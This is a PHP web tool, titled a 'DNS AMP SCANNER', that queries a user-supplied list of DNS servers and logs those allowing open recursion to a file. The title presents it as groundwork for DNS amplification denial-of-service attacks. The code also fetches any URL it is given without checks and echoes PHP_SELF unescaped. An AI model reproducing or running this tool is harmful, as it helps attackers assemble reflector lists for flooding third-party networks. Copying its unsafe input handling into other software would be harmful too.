PHP DNS AMP SCANNER BY SYNTHMESC

<html>
<style>
body {
    background-color: #000000;
    color: #00ff00;
}
h1 {
    color: #ff0000;
}
</style>
<h1>Welcome to SynthMesc's open recursive DNS scanner!</h1>
<body>
<form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="GET">
DNS Server list URL: <input name="url">
<input type ="submit" value="Scan">
</form>
<?php
error_reporting(0);
set_time_limit(0);
if (isset($_GET['url'])) {
    $servers = explode("\n", file_get_contents($_GET['url']));
    foreach($servers as &$server) {
        checkForRecursion($server);
    }
}

function checkForRecursion($target) {
    $request = "\xde\xad"; // Transaction-ID 0xdead
    $request .= "\x01\x00"; // flags (recursion desired)
    $request .= "\x00\x01"; // 1 question
    $request .= "\x00\x00"; // 0 answers
    $request .= "\x00\x00"; // 0 authority
    $request .= "\x00\x00"; // 0 additional
    $request .= "\x03www\x09wikipedia\x03org\x00"; // www.wikipedia.org
    $request .= "\x00\x01"; // type A
    $request .= "\x00\x01"; // class IN

    $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    socket_set_option($sock,SOL_SOCKET,SO_RCVTIMEO,array("sec"=>0,"usec"=>500000));

    $len = strlen($request);
    $port = 53;
    socket_sendto($sock, $request, $len, 0, $target, $port);
    $r = socket_recvfrom($sock, $response, 1024, 0, $target, $port);

    if ($response[3] == "\x80") {
        echo "<font color='#00ff00'><b>[+]</b></font> Recursion appears to be enabled on $target!<br>\n";
        $logfile="recursive.txt";
        $fp = fopen($logfile, "a") or die("Unable to open file!");  fwrite($fp, $target . "\n") or die("Unable to write to file!");
        fflush($fp);
        fclose($fp);
        return true;
    } else if ($response == "") {
        echo "<font color='#ff0000'><b>[-]</b></font> No response from $target<br>\n";
        return false;
    } else {
        echo "<font color='#ff0000'><b>[-]</b></font> Recursion appears to be disabled on $target<br>\n";
        return false;
    }
    ob_flush();
    socket_close($sock);
}
?>
</body>
</html>